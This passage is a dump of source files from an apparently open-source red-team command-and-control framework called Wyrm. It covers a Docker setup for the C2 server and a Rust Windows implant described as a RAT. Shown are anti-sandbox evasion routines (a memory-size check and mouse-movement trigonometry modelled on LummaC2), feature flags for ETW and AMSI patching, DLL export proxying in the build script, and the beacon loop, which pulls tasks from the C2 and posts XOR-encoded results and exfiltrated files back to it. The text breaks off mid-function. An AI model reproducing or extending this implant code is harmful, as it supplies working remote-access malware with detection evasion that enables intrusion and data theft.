    "content": "services: \n  client:\n    container_name: \"client\"\n    build:\n      context: .\n      dockerfile: client/Dockerfile\n    ports: \n      - \"3000:3000\"\n\n  c2_db:\n    environment:\n      POSTGRES_USER: \"${POSTGRES_USER}\" \n      POSTGRES_DB: \"${POSTGRES_DB}\"\n      POSTGRES_PASSWORD: \"${POSTGRES_PASSWORD}\"\n    image: postgres:18.0-alpine\n    ports:\n      - \"5432:5432\"\n    volumes:\n      - c2_pgdata:/var/lib/postgresql/data\n\n  c2:\n    depends_on:\n      - c2_db\n      - nginx\n    build:\n      context: .\n      dockerfile: c2/Dockerfile\n    environment:\n      C2_PORT: \"13371\"\n      C2_HOST: \"0.0.0.0\"\n      POSTGRES_USER: \"${POSTGRES_USER}\" \n      POSTGRES_PASSWORD: \"${POSTGRES_PASSWORD}\"\n      POSTGRES_HOST: \"c2_db\"\n      POSTGRES_DB: \"${POSTGRES_DB}\"\n    ports:\n      - \"13371:13371\"\n    volumes:\n      - c2_data:/data\n      - ./c2_transfer:/tools\n      - ./wofs_static:/wofs_static\n\n  nginx:\n    image: nginx:latest\n    ports: \n      - 443:443\n      - 80:80\n    volumes:\n      - ./nginx/nginx.conf:/etc/nginx/nginx.conf:ro\n      - ./nginx/certs:/etc/nginx/certs:ro\n\nvolumes:\n  c2_data:\n  c2_pgdata:"
  },
  {
    "path": "implant/.cargo/config.toml",
    "content": "[target.x86_64-pc-windows-msvc]\nrustflags = [\n    \"-Z\", \"location-detail=none\",\n    # \"-Z\", \"fmt-debug=none\",\n    \"-C\", \"panic=abort\",\n    # \"-C\", \"link-arg=-s\",\n    # \"-C\", \"link-arg=/DEBUG:NONE\",\n    \"-C\", \"target-feature=+crt-static\",\n    \"-C\", \"link-arg=/MERGE:.rdata=.text\",\n    \"-C\", \"link-arg=/MERGE:.pdata=.text\",\n]"
  },
  {
    "path": "implant/Cargo.toml",
    "content": "[package]\nname = \"implant\"\nversion = \"0.1.0\"\nedition = \"2024\"\nbuild = \"build.rs\"\n\n[profile.release]\nopt-level = \"z\"\nlto = \"fat\"\nstrip = \"symbols\"\n# panic = \"abort\"\ndebug = 0\nsplit-debuginfo = \"off\"\n# codegen-units = 1\n\n[[bin]]\nname = \"implant\"\npath = \"src/main.rs\"\n\n[[bin]]\nname = \"implant_svc\"\npath = \"src/main_svc.rs\"\n\n[lib]\nname = \"implant\"\npath = \"src/lib.rs\"\ncrate-type = [\"cdylib\"]\n\n[features]\nsandbox_trig = []\nsandbox_mem = []\npatch_etw = []\npatch_amsi = []\n\n[dependencies]\nshared ={ path = \"../shared\" }\nshared_no_std ={ path = \"../shared_no_std\" }\nserde = {version = \"1.0\", features = [\"derive\"] }\nserde_json = \"1\"\nstr_crypter = \"1.0.3\"\ncgmath = \"0.18.0\"\nwindows-sys = {version = \"0.61\", features = [\n    \"Win32\",\n    \"Win32_Foundation\",\n    \"Win32_NetworkManagement_NetManagement\",\n    \"Win32_Storage_FileSystem\",\n    \"Win32_System_ProcessStatus\",\n    \"Win32_System_SystemInformation\",\n    \"Win32_System_Threading\",\n    \"Win32_System_WindowsProgramming\",\n    \"Win32_System_SystemServices\",\n    \"Win32_Security\",\n    \"Win32_UI_WindowsAndMessaging\",\n    \"Win32_System_Diagnostics_Debug\",\n    \"Win32_System_Services\",\n    \"Win32_System_Diagnostics_ToolHelp\",\n    \"Win32_System_Ole\",\n    \"Win32_System_Variant\",\n    \"Win32_System_ClrHosting\",\n    \"Win32_System_Com\",\n    \"Win32_System_Console\",\n    \"Win32_System_IO\",\n    \"Win32_System_Pipes\",\n    \"Win32_Security_Authorization\",\n    \"Win32_Globalization\",\n    \"Win32_Networking_WinHttp\",\n    \"Win32_System_Memory\",\n    \"Win32_System_Kernel\",\n]}\nrand = \"0.9\"\nwindows-registry = \"0.6\"\nureq = { version = \"3.1.4\", default-features = false, features = [\"json\", \"multipart\", \"native-tls\"]}\n\n[build-dependencies]\ncc = \"1.2.51\""
  },
  {
    "path": "implant/Readme.md",
    "content": "# Wyrm agent\n\nThe Wyrm agent is a post exploitation Red Team framework designed to operate as a RAT.\n\n## How it works\n\n### Command and control\n\nThe agent communicates with the C2 over HTTP(S); future support is planned for C2 over DNS.\n\nWhen the implant is first run, it will make a first call home indicating that it has started for the first time,\nallowing it to get any configuration information from the C2, such as its sleep time, or other malleable settings.\n\nFollowing this, the agent enters the C2 loop in which GET requests are made to the C2 and tasks are received, executed\nthen returned the output via a POST request.\n\nDuring transit, the comms are encrypted with a simple XOR scheme. Given SSL inspection will not be brute forcing comms traffic\nbelow TLS; simple XOR is deemed sufficient complex for the threat model of red teams.\n\n**Note:** Extra care has been made to ensure that artifacts of the messaging structures are not left over and present \nin the binary which could become searchable strings.\n\n## Design documentation\n\nA little documentation to explain some of the design decisions. It feels like spaghetti in parts, so this is putting my\nbrain on paper for now to explain some of the core concepts around how the implant works.\n\nWhen the implant first runs; it will conduct a 'first run' function to send some environment data up to the C2. This function\nis `first_check_in`, and will try a number of times (as per what it is configured with) to POST this data up to the C2.\n\nFollowing this, the agent enters its **C2 loop**.\n\n### C2 loop\n\nThe C2 loop can be thought as a massive dispatcher, which is dispatching a `shared::tasks::Command`.\n\nEach `Command` which will be dispatched (in `dispatch_tasks`) should call `self.push_completed_task()` to push the result\nof some task to be dispatched to the implants `completed_tasks` Vec.\n\nDue to custom serialisation (OPSEC strategy), `push_completed_task` will serialise the result of the function appropriately,\nencoding data into the packet structure. It will produce this as a Vector of u16 (to allow for unicode characters)\nand this is pushed to `completed_tasks` which is ultimately, a `Vec<Vec<u16>>`.\n\n**For this reason**, what goes into `push_completed_task` is an `Option<impl Serialize>`. Thus, it follows, any function which\nis used in the main dispatcher, itself should return `Option<impl Serialize>`. To avoid issues with references,\nyou may need to return `Option<impl Serialize + use<>>` (if it moans about some move semantics / ownership rules).\n\nA final note: only tasks which you wish to POST back to the C2 to 'complete' them (in the `completed_tasks` db table)\nneed completing as above. There is no requirement to do this for tasks that you do not want feedback on, or need\nthe additional `completed_tasks` modifying.\n\nTo that end; tasks which are 'autocomplete' on pickup when the C2 grabs the tasks from the pending task queue, there is\nan implementation on `shared::tasks::Command`, for the method `is_autocomplete`. Marking a discriminant as `true` will\nallow the C2 to silently mark everything as completed in the db on the backend, so as soon as the agents requests new \ntasks, at that point it will be marked as complete and sent to the agent.\n\n#### Errors within returned data\n\nIf your `Option<impl Serialize>` contains something you wish to express as an `Error`, I have provided the `WyrmError` enum,\nwhich matches the signature of a standard `Result<T, E>` - except that it is represented:\n\n```Rust\n#[derive(Serialize, Deserialize)]\npub enum WyrmResult<T: Serialize> {\n    Ok(T),\n    Err(String),\n}\n```\n\nThis allows you to return the `WyrmResult` and have it serialise inside of a `Some()`, for example:\n\n**Ok**\n\n```Rust\nresult = Some(\n    WyrmResult::Ok(self.current_working_directory\n        .to_string_lossy()\n        .into_owned(),\n));\n```\n\n**Err**\n\n```Rust\nlet return_value = match e.kind() {\n    std::io::ErrorKind::NotFound => Some(WyrmResult::Err(\"Not found\".to_string())),\n    std::io::ErrorKind::PermissionDenied => Some(WyrmResult::Err(\"Permission denied.\".to_string())),\n    _ => Some(WyrmResult::Err(format!(\"An error occurred. Code: {}\", e.raw_os_error().unwrap_or_default()))),\n};\n```\n\nThen on the client, you can display these easily such as (in `shared_c2_client`):\n\n```Rust\nlet deser: WyrmResult<PathBuf> = match serde_json::from_str(result) {\n    Ok(d) => d,\n    Err(e) => {\n        print_client_error(&msg_header, &format!(\"Ensure your request was properly formatted: {e}\"));\n        return;\n    },\n};\nmatch deser {\n    WyrmResult::Ok(result) => println!(\"{}{}\", msg_header, result.display()),\n    WyrmResult::Err(e) => print_client_error(&msg_header, &e),\n}\n```\n"
  },
  {
    "path": "implant/build.rs",
    "content": "use std::{\n    env,\n    fmt::Write,\n    fs,\n    mem::take,\n    path::{Path, PathBuf},\n    process::Command,\n};\n\nfn main() {\n    let envs = &[\n        \"DEF_SLEEP_TIME\",\n        \"C2_HOST\",\n        \"C2_URIS\",\n        \"C2_PORT\",\n        \"SECURITY_TOKEN\",\n        \"USERAGENT\",\n        \"AGENT_NAME\",\n        \"JITTER\",\n        \"SVC_NAME\",\n        \"EXPORTS_JMP_WYRM\",\n        \"EXPORTS_USR_MACHINE_CODE\",\n        \"EXPORTS_PROXY\",\n        \"MUTEX\",\n        \"DEFAULT_SPAWN_AS\",\n        \"WOF\",\n    ];\n\n    for key in envs {\n        println!(\"cargo:rerun-if-env-changed={key}\");\n    }\n\n    for var in envs {\n        if let Ok(val) = env::var(var) {\n            println!(\"cargo:rustc-env={var}={val}\");\n        }\n    }\n\n    write_exports_to_build_dir();\n    build_static_wofs();\n}\n\n/// Writes exported symbols to the binary, whether genuine exports or proxied ones.\nfn write_exports_to_build_dir() {\n    let out_dir = PathBuf::from(env::var(\"OUT_DIR\").unwrap());\n    let dest = out_dir.join(\"custom_exports.rs\");\n    let mut code = String::new();\n\n    let exports_usr_machine_code = env::var(\"EXPORTS_USR_MACHINE_CODE\").ok();\n    let exports_proxy = env::var(\"EXPORTS_PROXY\").ok();\n    let exports_jmp_wyrm = env::var(\"EXPORTS_JMP_WYRM\").ok();\n\n    if let Some(export_str) = exports_jmp_wyrm {\n        if export_str.is_empty() {\n            // If there was no custom export defined, then we just export the 'run' extern\n            writeln!(&mut code, \"build_dll_export_by_name_start_wyrm!(run);\",).unwrap();\n        }\n\n        for fn_name in export_str.split(';').filter(|s| !s.trim().is_empty()) {\n            writeln!(\n                &mut code,\n                \"build_dll_export_by_name_start_wyrm!({fn_name});\",\n            )\n            .unwrap();\n        }\n    } else {\n        // Just in case.. we still need an entrypoint, tho this should never run\n        writeln!(&mut code, \"build_dll_export_by_name_start_wyrm!(run);\",).unwrap();\n    }\n\n    if let Some(export_str) = exports_usr_machine_code {\n        for item in export_str.split(';').filter(|s| !s.trim().is_empty()) {\n            let mut parts = item.split('=');\n            let name = parts.next().unwrap().trim();\n            let bytes = parts.next().unwrap_or(\"\").trim();\n\n            assert!(!name.is_empty());\n            assert!(!bytes.is_empty());\n\n            writeln!(\n                &mut code,\n                \"build_dll_export_by_name_junk_machine_code!({name}, {bytes});\",\n            )\n            .unwrap();\n        }\n    }\n\n    if let Some(exports) = exports_proxy {\n        for item in exports\n            .split(';')\n            .map(|s| s.trim())\n            .filter(|s| !s.is_empty() && s.is_ascii())\n        {\n            println!(\"cargo:rustc-link-arg=/export:{item}\");\n        }\n    }\n\n    fs::write(dest, code).unwrap();\n}\n\nfn build_static_wofs() {\n    let out_dir = PathBuf::from(std::env::var(\"OUT_DIR\").unwrap());\n    let dest = out_dir.join(\"wof.rs\");\n    let mut ffi_builder = String::new();\n    let mut lookup_builder = String::new();\n\n    ffi_builder.push_str(\"use core::ffi::c_void;\\n\");\n    lookup_builder.push_str(\"\\npub fn all_wofs() -> &'static [(&'static str, *const c_void)] {\\n\");\n    lookup_builder.push_str(\"&[\\n\");\n\n    if let Ok(Some(args)) = parse_wof_directories() {\n        ffi_builder.push_str(\"unsafe extern \\\"C\\\" {\\n\");\n\n        for arg in args {\n            let mut builder = cc::Build::new();\n            builder.out_dir(&out_dir);\n\n            //\n            // Iterate through the headers and source files\n            //\n            for a in arg.headers {\n                builder.include(a);\n            }\n\n            for a in arg.files {\n                builder.file(a);\n            }\n\n            for o in arg.object_files {\n                let p = Path::new(&o);\n                println!(\"cargo:rustc-link-arg={}\", p.display());\n                // Grab the symbols that we can then access\n                add_symbols(p, &mut ffi_builder, &mut lookup_builder);\n            }\n\n            // compile to object files only\n            let objects = builder.compile_intermediates();\n\n            for obj in &objects {\n                // Give the .obj to the linker\n                println!(\"cargo:rustc-link-arg={}\", obj.display());\n\n                // Grab the symbols that we can then access\n                add_symbols(obj, &mut ffi_builder, &mut lookup_builder);\n            }\n        }\n\n        ffi_builder.push_str(\"}\\n\\n\");\n    }\n\n    lookup_builder.push_str(\"]\\n}\\n\");\n\n    ffi_builder.push_str(&lookup_builder);\n\n    fs::write(dest, ffi_builder).unwrap();\n}\n\n/// Parses exported symbols from a compiled object/lib file and extends the\n/// generated FFI shim and lookup table code.\n///\n/// The builders are treated as accumulating code buffers that will later be written out\n/// to a generated Rust source file (e.g. `wof.rs`).\nfn add_symbols(src: &Path, ffi_builder: &mut String, lookup_builder: &mut String) {\n    if let Some(symbols) = dump_symbols(src) {\n        for s in symbols {\n            let export_line = format!(\"fn {s}(_: *const c_void) -> i32;\\n\");\n            if !ffi_builder.contains(&export_line) {\n                ffi_builder.push_str(&export_line);\n                lookup_builder.push_str(&format!(\"(\\\"{s}\\\", {s} as *const c_void),\\n\"));\n            }\n        }\n    }\n}\n\nstruct ArgsPerFolder {\n    files: Vec<String>,\n    headers: Vec<String>,\n    object_files: Vec<String>,\n}\n\n/// Parses the `WOF` environment variable into per-dir WOF build inputs.\n///\n/// This helper is used by the build script to discover *WOF modules* laid out\n/// on disk. It expects the `WOF` environment variable to contain a semicolon separated\n/// list of directories, for example:\n///\n/// ```text\n/// WOF=/wofs_static/1;/wofs_static/2;\n/// ```\n///\n/// For each entry in `WOF`:\n///\n/// - If the entry resolves to a directory:\n///   - All files with extension:\n///     - `.h` / `.hpp` are collected into `headers`.\n///     - `.c` / `.cpp` / `.cc` are collected into `files`.\n///     - `.o` / `.obj` are collected into `object_files`.\nfn parse_wof_directories() -> std::io::Result<Option<Vec<ArgsPerFolder>>> {\n    if let Some(args) = env::var(\"WOF\").ok() {\n        let mut result = Vec::new();\n\n        for item in args.split(';').map(str::trim).filter(|s| !s.is_empty()) {\n            let root = PathBuf::from(item);\n            if !root.is_dir() {\n                continue;\n            }\n\n            let mut buf_file = Vec::new();\n            let mut buf_headers = Vec::new();\n            let mut buf_objs = Vec::new();\n\n            let mut stack = vec![root.clone()];\n            while let Some(dir) = stack.pop() {\n                for entry in dir.read_dir()? {\n                    let entry = match entry {\n                        Ok(e) => e,\n                        Err(_) => continue,\n                    };\n\n                    let path = entry.path();\n                    if path.is_dir() {\n                        stack.push(path);\n                        continue;\n                    }\n\n                    let full_path = path.to_string_lossy().to_string();\n                    let name = entry.file_name();\n                    let name = name.to_string_lossy();\n\n                    if name.ends_with(\".h\") || name.ends_with(\".hpp\") {\n                        buf_headers.push(full_path);\n                    } else if name.ends_with(\".c\")\n                        || name.ends_with(\".cpp\")\n                        || name.ends_with(\".cc\")\n                    {\n                        buf_file.push(full_path);\n                    } else if name.ends_with(\".o\") || name.ends_with(\".obj\") {\n                        buf_objs.push(full_path);\n                    }\n                }\n            }\n\n            if !buf_file.is_empty() || !buf_headers.is_empty() || !buf_objs.is_empty() {\n                result.push(ArgsPerFolder {\n                    files: buf_file,\n                    headers: buf_headers,\n                    object_files: buf_objs,\n                });\n            }\n        }\n\n        return Ok(Some(result));\n    }\n\n    Ok(None)\n}\n\nfn dump_symbols(lib: &Path) -> Option<Vec<String>> {\n    let out = Command::new(\"llvm-nm\")\n        .args([\"-U\", \"-g\", \"--defined-only\"])\n        .arg(lib)\n        .output()\n        .expect(\"llvm-nm failed\");\n\n    let mut buf = Vec::new();\n\n    let stdout = String::from_utf8_lossy(&out.stdout);\n    for line in stdout.lines() {\n        if line.contains(\" T \") {\n            let s: Vec<&str> = line.split(\" T \").collect();\n\n            if !s.is_empty() && s.len() == 2 {\n                buf.push(s[1].to_string());\n            }\n        }\n    }\n\n    if buf.is_empty() {\n        return None;\n    }\n\n    Some(buf)\n}\n"
  },
  {
    "path": "implant/rust-toolchain.toml",
    "content": "[toolchain]\n# # Pin nightly such that we dont get any unexpected breaking changes.\n# # We can update this as required in the future.\nchannel = \"nightly-2025-10-20\""
  },
  {
    "path": "implant/set_dbg_env.ps1",
    "content": "# set-debug-env.ps1\n\n# --- DEBUG configuration ---\n$Env:DEF_SLEEP_TIME = '1'\n$Env:C2_HOST = 'http://127.0.0.1'\n$Env:C2_URI = '/'\n$Env:SECURITY_TOKEN = 'sfsdfdsfsdfwerwetweewryh1g'\n$Env:C2_PORT = '8080'\n$Env:AGENT_NAME = 'local_debug_test'\n\n\nWrite-Host \" Environment variables set:\"\nWrite-Host \"  DEF_SLEEP_TIME   = $Env:DEF_SLEEP_TIME\"\nWrite-Host \"  C2_HOST          = $Env:C2_HOST\"\nWrite-Host \"  C2_URI           = $Env:C2_URI\"\nWrite-Host \"  SECURITY_TOKEN   = $Env:SECURITY_TOKEN\"\nWrite-Host \"  C2_PORT          = $Env:C2_PORT\"\nWrite-Host \"  AGENT_NAME       = $Env:AGENT_NAME\"\n\nWrite-Host \"\"\nWrite-Host \"NOTE: To now use this config, on the C2 stage a new 'agent' which has the same agent name and security token listed here.\""
  },
  {
    "path": "implant/src/anti_sandbox/memory.rs",
    "content": "use windows_sys::Win32::{\n    Foundation::FALSE, System::SystemInformation::GetPhysicallyInstalledSystemMemory,\n};\n\nconst MIN_ACCEPTABLE_MEMORY: u64 = 4000000; // ~ 4 GB\n\n/// Checks the installed amount of memory, and panics if it's less than [`MIN_ACCEPTABLE_MEMORY`]\n/// or if the WinAPI call failed.\n#[allow(unreachable_code)]\npub fn validate_ram_sz_or_panic() {\n    let mut total_memory: u64 = 0;\n\n    if unsafe { GetPhysicallyInstalledSystemMemory(&mut total_memory) } == FALSE {\n        #[cfg(debug_assertions)]\n        {\n            use crate::dbgprint;\n\n            dbgprint!(\"GetPhysicallyInstalledSystemMemory error\")\n        }\n\n        panic!()\n    }\n\n    if total_memory < MIN_ACCEPTABLE_MEMORY {\n        #[cfg(debug_assertions)]\n        {\n            use crate::dbgprint;\n\n            dbgprint!(\"Total memory ({total_memory}) was less than {MIN_ACCEPTABLE_MEMORY}\")\n        }\n\n        panic!()\n    }\n}\n"
  },
  {
    "path": "implant/src/anti_sandbox/mod.rs",
    "content": "mod memory;\nmod trig;\n\n/// This function takes care of anti-sandbox analysis, and depending upon the sandbox checks performed\n/// it w ill either panic, or continue looping until a condition is met.\n///\n/// The anti-sandbox features are feature-gated such that they can be configured by the operator and conditionally\n/// compiled.\npub fn anti_sandbox() {\n    // Note: full list of potential features to implement here\n    // https://unprotect.it/category/sandbox-evasion/\n\n    #[cfg(feature = \"sandbox_trig\")]\n    {\n        use std::sync::atomic::Ordering;\n\n        use crate::entry::IS_IMPLANT_SVC;\n        // We cannot do this check when running as a svc\n        if !IS_IMPLANT_SVC.load(Ordering::SeqCst) {\n            use crate::anti_sandbox::trig::trig_mouse_movements;\n            #[cfg(debug_assertions)]\n            use crate::utils::console::print_info;\n\n            // N.b. this could block for a period of time; but will not panic. See function for more details.\n            trig_mouse_movements();\n\n            #[cfg(debug_assertions)]\n            print_info(\"Trig test complete..\");\n        }\n    }\n\n    #[cfg(feature = \"sandbox_mem\")]\n    {\n        use crate::anti_sandbox::memory::validate_ram_sz_or_panic;\n\n        validate_ram_sz_or_panic();\n\n        #[cfg(debug_assertions)]\n        {\n            use crate::utils::console::print_info;\n\n            print_info(\"Ram size check complete..\");\n        }\n    }\n}\n"
  },
  {
    "path": "implant/src/anti_sandbox/trig.rs",
    "content": "//! A trigonometric approach to detect human behaviour on an endpoint as seen by\n//! LummaC2 https://outpost24.com/blog/lummac2-anti-sandbox-technique-trigonometry-human-detection/\n\nuse core::f32::math::sqrt;\nuse std::time::{Duration, Instant};\n\nuse cgmath::{Deg, InnerSpace, Vector2};\nuse windows_sys::Win32::{\n    Foundation::{POINT, TRUE},\n    System::Threading::Sleep,\n    UI::WindowsAndMessaging::GetCursorPos,\n};\n\nconst MAX_WAIT_TIME_SECONDS: u64 = 5 * 60; // 5 mins\n\n/// This function attempts to detect a sandbox by monitoring mouse movements and\n/// checking for behaviour which would not be expected by a human using some trig and\n/// euclidean math.\n///\n/// If the function detects mouse movement within the capture period of > a constant number\n/// of px, or greater than 45 degrees between captures, a sandbox is assumed.\n///\n/// # No return period\n/// The function will not return if no mouse movements are captured; up to the max waiting time,\n/// [`MAX_WAIT_TIME`].\n///\n/// The function will not return if 'bad movements' are detected, up to the max waiting time,\n/// [`MAX_WAIT_TIME`].\npub fn trig_mouse_movements() {\n    const MAX_POINTS_0_IDX: usize = 30;\n    let mut points = [POINT::default(); MAX_POINTS_0_IDX];\n\n    const MAX_TRAVEL_DISTANCE: f32 = 500.;\n    const MAX_ANGLE: f32 = 45.;\n\n    let timer: (Instant, Duration) = (Instant::now(), Duration::from_secs(MAX_WAIT_TIME_SECONDS));\n\n    //\n    // The bread and butter loop which will continue to get mouse movement and check against\n    // mouse movements to detect non-human behaviour. If the 5 min period elapses in this, then\n    // it will break.\n    //\n    // If any mouse movement information is 0, it will try again, until there is full movement observed\n    // over the time period measured.\n    //\n    loop {\n        let mut bad_point = false;\n\n        //\n        // Get the points\n        //\n        for i in 0..MAX_POINTS_0_IDX {\n            get_pos(points.get_mut(i).unwrap(), &timer);\n            unsafe {\n                Sleep(10);\n            }\n        }\n\n        //\n        // Check for non human behaviour\n        //\n        for (i, point) in points.iter().enumerate() {\n            // Check the timer\n            if timer.0.elapsed() >= timer.1 {\n                bad_point = false;\n                break;\n            }\n\n            let next_point = match points.get(i + 1) {\n                Some(p) => p,\n                None => break,\n            };\n\n            // calculate the euclidean distance between the points\n            let first = i32::pow(point.x - next_point.x, 2);\n            let second = i32::pow(point.y - next_point.y, 2);\n\n            let distance = sqrt(first as f32 + second as f32);\n\n            // Calculate the angle between the points\n            let v1 = Vector2::new(point.x as f32, point.y as f32);\n            let v2 = Vector2::new(next_point.x as f32, next_point.y as f32);\n            let angle = Deg::from(v1.angle(v2)).0.abs();\n\n            if angle == 0. || distance == 0. {\n                bad_point = true;\n            }\n\n            //\n            // If the angle is > MAX_ANGLE, or the mouse distance travelled is greater than MAX_TRAVEL_DISTANCE px (??)\n            // then we want to cause the test to go again.\n            //\n            if angle > MAX_ANGLE || distance > MAX_TRAVEL_DISTANCE {\n                bad_point = true;\n            }\n        }\n\n        // If we didn't have a bad point, aka no mouse movement, then break\n        if !bad_point {\n            break;\n        }\n    }\n}\n\nfn get_pos(point: &mut POINT, live_timer: &(Instant, Duration)) {\n    loop {\n        // If we waited longer than a sandbox will be watching for\n        if live_timer.0.elapsed() >= live_timer.1 {\n            break;\n        }\n\n        if unsafe { GetCursorPos(point) } == TRUE {\n            break;\n        };\n\n        unsafe {\n            Sleep(200);\n        }\n    }\n}\n"
  },
  {
    "path": "implant/src/comms.rs",
    "content": "//! Implant communications are handled here.\n\nuse std::{fs::File, mem::take, path::Path};\n\nuse crate::{\n    utils::{\n        console::{get_console_log, print_failed},\n        time_utils::epoch_now,\n    },\n    wyrm::Wyrm,\n};\nuse rand::{\n    Rng, SeedableRng, TryRngCore,\n    rngs::{OsRng, SmallRng},\n};\n\nuse shared::{\n    net::{TasksNetworkStream, XorEncode, decode_http_response, encode_u16buf_to_u8buf},\n    tasks::{Command, ExfiltratedFile, Task},\n};\nuse str_crypter::{decrypt_string, sc};\nuse ureq::{\n    Agent, Body, Proxy,\n    config::Config,\n    http::{\n        HeaderMap, Response,\n        header::{AUTHORIZATION, CONTENT_TYPE, USER_AGENT, WWW_AUTHENTICATE},\n    },\n    tls::{TlsConfig, TlsProvider},\n    unversioned::multipart::{Form, Part},\n};\n\nconst MAX_RESPONSE_SZ_BYTES: u64 = 1024 * 1024 * 500;\n\n/// Constructs the C2 URL by randomly choosing the URI to visit.\npub fn construct_c2_url(implant: &Wyrm) -> String {\n    let i = {\n        // N.b. we have to use non TLS rand here or the RDLL will crash\n        let len = implant.c2_config.api_endpoints.len();\n        if len != 0 {\n            let mut seed = [0u8; 32];\n            if let Ok(_) = OsRng.try_fill_bytes(&mut seed) {\n                let mut rng = SmallRng::from_seed(seed);\n                rng.random_range(0..len)\n            } else {\n                0\n            }\n        } else {\n            0\n        }\n    };\n\n    let uri = &implant.c2_config.api_endpoints[i];\n    const COLON_SZ: usize = 1;\n    const MAX_PORT_SZ: usize = 6;\n    const LEEWAY_SLASH_SZ: usize = 1;\n    let approx_len =\n        implant.c2_config.url.0.len() + COLON_SZ + MAX_PORT_SZ + uri.len() + LEEWAY_SLASH_SZ;\n\n    let mut s = String::with_capacity(approx_len);\n\n    s.push_str(&implant.c2_config.url.0);\n    s.push(':');\n    s.push_str(&implant.c2_config.port.to_string());\n\n    // Ensure we start with a '/' in case the operator is laxy dazy :)\n    if !uri.starts_with('/') {\n        s.push('/');\n    };\n\n    s.push_str(&uri);\n\n    s\n}\n\n/// Checks in with the C2 and gets any pending tasks.\npub fn comms_http_check_in(implant: &mut Wyrm) -> Result<Vec<Task>, ureq::Error> {\n    let formatted_url = construct_c2_url(implant);\n    let sec_token = &implant.c2_config.security_token;\n    let ua = &implant.c2_config.useragent;\n    let headers = generate_generic_headers(&implant.implant_id, sec_token, ua);\n\n    // Drain the console log and put it into a completed task\n    {\n        if let Ok(mut log) = get_console_log().lock() {\n            if !log.is_empty() {\n                let drained = take(&mut *log);\n                // Note task 1 will always be for console logs as we hardcode this via sql migration when the srv starts up\n                // for the first time.\n                implant.push_completed_task(\n                    &Task::from(1, Command::ConsoleMessages, None),\n                    Some(drained),\n                );\n            }\n        }\n    }\n\n    // Make the actual request, depending upon whether we have data to upload or not\n    let mut response = if implant.completed_tasks.is_empty() {\n        http_get(formatted_url.clone(), headers, implant)?\n    } else {\n        http_post_tasks(formatted_url.clone(), implant, headers)?\n    };\n\n    let mut tasks: Vec<Task> = vec![];\n\n    // If response was not OK; then just sleep. In the future maybe we have a strategy to exit after x\n    // bad requests?\n    if response.status().as_u16() != 200 {\n        #[cfg(debug_assertions)]\n        println!(\n            \"[-] Status code was not OK 200. Got: {}. URL: {}\",\n            response.status().as_u16(),\n            formatted_url\n        );\n\n        tasks.push(Task {\n            id: 0,\n            command: Command::Sleep,\n            metadata: None,\n            completed_time: epoch_now(),\n        });\n\n        return Ok(tasks);\n    }\n\n    let res = read_body_with_limit(&mut response)?;\n    Ok(decode_tasks_stream(&res))\n}\n\nfn http_get(\n    url: String,\n    headers: HeaderMap,\n    implant: &Wyrm,\n) -> Result<Response<Body>, ureq::Error> {\n    let agent = generate_http_agent(implant);\n\n    let mut req = agent.get(url);\n\n    for (name, value) in headers.iter() {\n        if let Ok(val) = value.to_str() {\n            req = req.header(name, val);\n        }\n    }\n\n    req.call()\n}\n\nfn http_post_tasks(\n    url: String,\n    implant: &mut Wyrm,\n    mut headers: HeaderMap,\n) -> Result<Response<Body>, ureq::Error> {\n    let agent = generate_http_agent(implant);\n    let mut req = agent.post(url);\n\n    let mut completed_tasks: TasksNetworkStream = Vec::new();\n\n    //\n    // For each task that has been completed, we need to encode it properly so that it fits\n    // with the standard of:    XOR ENVELOPE([u32 Command][u16 string result]).\n    //\n    // We can then push this to the completed tasks, which will be serialised itself, and then\n    // sending on its merry way to the C2.\n    //\n    while let Some(task) = implant.completed_tasks.pop() {\n        let encoded_byte_response = encode_u16buf_to_u8buf(&task).xor_network_stream();\n        completed_tasks.push(encoded_byte_response);\n    }\n\n    headers.insert(CONTENT_TYPE, \"application/json\".parse().unwrap());\n\n    for (name, value) in headers.iter() {\n        if let Ok(val) = value.to_str() {\n            req = req.header(name, val);\n        }\n    }\n\n    // TODO domain fronting in the above builder?\n    req.send_json(completed_tasks)\n}\n\n/// Generates some generic headers which we send along with the HTTP request to the C2.\n/// These are to be the same for GET, POST, etc.\nfn generate_generic_headers(implant_id: &str, security_token: &str, ua: &str) -> HeaderMap {\n    let mut headers = HeaderMap::new();\n    headers.insert(WWW_AUTHENTICATE, implant_id.parse().unwrap());\n    headers.insert(USER_AGENT, ua.parse().unwrap());\n    headers.insert(AUTHORIZATION, security_token.parse().unwrap());\n\n    headers\n}\n\nfn read_body_with_limit(response: &mut Response<Body>) -> Result<Vec<u8>, ureq::Error> {\n    response\n        .body_mut()\n        .with_config()\n        .limit(MAX_RESPONSE_SZ_BYTES)\n        .read_to_vec()\n}\n\n/// Decode a `Response` byte stream from the C2 into a Vec of individual `Task`'s,\n///\n/// The data coming into this function will be XOR encrypted, as per a hardcoded XOR key\n/// shared between both the C2 and the implant. This routine will first decode each\n/// inbound packet, and then decode the HTTP response as per the implant's communication\n/// scheme.\n///\n/// # Returns\n/// A vector of [`Task`] ready to be dispatched or otherwise available to work with.\npub fn decode_tasks_stream(byte_response: &[u8]) -> Vec<Task> {\n    // Parse JSON into the inner binary packets\n    let packets: Vec<Vec<u8>> = match serde_json::from_slice(byte_response) {\n        Ok(p) => p,\n        Err(_) => return vec![],\n    };\n\n    // For each packet, undo the XOR and decode header+body\n    packets\n        .into_iter()\n        .map(|pkt| {\n            let decrypted = pkt.xor_network_stream();\n            decode_http_response(&decrypted)\n        })\n        .collect()\n}\n\n/// Makes a request to the C2 when it's the first time checking in per session, e.g. after reboot or after the agent\n/// has for some reason, exit.\n///\n/// Function pulls configuration settings down, and sends local config up where required for that first check-in.\npub fn configuration_connection(implant: &mut Wyrm) -> Result<Vec<Task>, ureq::Error> {\n    implant.conduct_first_run_recon();\n\n    //\n    // make the request\n    //\n\n    let formatted_url = construct_c2_url(implant);\n    let sec_token = &implant.c2_config.security_token;\n    let ua = &implant.c2_config.useragent;\n    let headers = generate_generic_headers(&implant.implant_id, sec_token, ua);\n    let mut response = http_post_tasks(formatted_url.clone(), implant, headers)?;\n\n    //\n    // We get back some settings from the C2\n    //\n    let mut tasks: Vec<Task> = vec![];\n\n    if response.status().as_u16() != 200 {\n        #[cfg(debug_assertions)]\n        println!(\n            \"[-] Status code was not OK 200. Got: {}. Sent to: {}\",\n            response.status().as_u16(),\n            formatted_url,\n        );\n\n        tasks.push(Task {\n            id: 0,\n            command: Command::AgentsFirstSessionBeacon,\n            metadata: None,\n            completed_time: epoch_now(),\n        });\n\n        return Ok(tasks);\n    }\n\n    let body = read_body_with_limit(&mut response)?;\n\n    